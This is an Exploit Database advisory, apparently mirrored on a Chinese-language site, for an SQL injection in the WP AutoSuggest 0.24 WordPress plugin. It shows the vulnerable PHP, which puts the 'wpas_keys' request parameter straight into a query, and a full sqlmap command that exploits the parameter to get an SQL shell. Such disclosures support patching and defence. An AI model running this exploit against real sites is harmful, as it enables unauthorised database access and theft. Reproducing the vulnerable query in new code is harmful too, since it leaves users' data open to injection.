WordPress Plugin AutoSuggest 0.24 – ‘wpas_keys’ SQL Injection

• Exploit Database
• 18 阅读

• 作者： Kaimi
  日期： 2018-12-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/45977/

• # Exploit Title: WP AutoSuggest 0.24 - SQL Injection
  # Date: 01-12-2018
  # Software Link: https://wordpress.org/plugins/wp-autosuggest/
  # Exploit Author: Kaimi
  # Website: https://kaimi.io
  # Version: 0.24
  # Category: webapps
  
  SQL Injection
  File: autosuggest.php
  
  Vulnerable code:
  if (isset($_GET['wpas_keys'])) {
  	$wpas_keys = $_GET['wpas_keys'];
  }
  ...
  $wpas_keys = str_replace(' ','%',$wpas_keys);
  	$pageposts = $wpdb->get_results("SELECT * FROM $wpdb->posts WHERE (post_title LIKE '%$wpas_keys%') AND post_status = 'publish' ORDER BY post_date DESC");
  
  
  Exploitation example:
  
  sqlmap -u "http://URL/wp-content/plugins/wp-autosuggest/autosuggest.php?wpas_action=query&wpas_keys=1" --technique BT --dbms MYSQL --risk 3 --level 5 -p wpas_keys --tamper space2comment --sql-shell